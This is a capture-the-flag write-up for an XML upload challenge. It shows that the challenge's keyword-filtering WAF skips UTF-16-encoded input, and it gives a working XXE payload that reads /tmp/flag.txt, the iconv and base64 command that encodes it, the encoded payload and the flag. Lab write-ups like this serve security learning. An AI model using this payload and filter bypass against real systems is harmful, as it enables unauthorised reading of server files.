dojo

📜 Challenge Description

A new tool has recently been published, designed to generate beautiful AI images based on your given prompt. We have also made sure that it works to upload files if the prompt is in XML format! Will you be able to find the flag?

~ _The flag can be found in the file: /tmp/flag.txt

🕵️ Proof of Concept

Quick analysis

By analyzing the source code, we notice that a WAF is present to block attempts to exploit XXE:

if (dataBytes[:2] != b'\xff\xfe' and dataBytes[:2] != b'\xfe\xff'):
        #Allow parsing for casual svg
        if any(x in dataBytes.lower() for x in [b'file://', b'tmp', b'flag.txt', b'system', b'public', b'entity']):
            return 'BLOCKED'

This WAF blocks payloads containing strings such as file://, entity, flag.txt, etc.

However, we observe that the condition if (dataBytes[:2] != b'\xff\xfe' and dataBytes[:2] != b'\xfe\xff') means that filtering is applied only if the first two bytes in hexadecimal are not \xff\xfe or \xfe\xff. In other words, the XML payload is not filtered if it is encoded in UTF-16BE or UTF-16LE.

From this, we deduce that constructing an XML payload encoded in UTF-16BE or UTF-16LE allows bypassing the character string filtering, enabling the exploitation of XXE.

Exploitation

To exploit this vulnerability and bypass the WAF restrictions, we can construct a classic XXE payload that allows us to read the flag.txt file:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [<!ENTITY pwn SYSTEM "file:///tmp/flag.txt">]>
<test>&pwn;</test>

Note: The encoding specified in the XML declaration does not matter here because the encoding verification is performed on the raw bytes of the string itself, not within the XML syntax.

We save this payload in a file named payload.xml.

Next, we encode this payload in UTF-16BE and then in Base64 using the iconv command-line tool (on a Linux machine). Here is the command to construct our final payload:

iconv -f utf-8 -t utf-16be < payload.xml | base64 > xxe-utf-16.xml

As a result, we obtain the following Base64-encoded payload:

ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAIABlAG4AYwBvAGQAaQBuAGcA PQAiAFUAVABGAC0AOAAiACAAPwA+AAoAPAAhAEQATwBDAFQAWQBQAEUAIAB0AGUAcwB0ACAAWwA8 ACEARQBOAFQASQBUAFkAIABwAHcAbgAgAFMAWQBTAFQARQBNACAAIgBmAGkAbABlADoALwAvAC8A dABtAHAALwBmAGwAYQBnAC4AdAB4AHQAIgA+AF0APgAKADwAdABlAHMAdAA+ACYAcAB3AG4AOwA8 AC8AdABlAHMAdAA+

Finally, we simply send this encoded payload as is to retrieve the flag.

flag

Here’s the flag: FLAG{Y0u_Pwniied_Th3_AI!!}

📚 References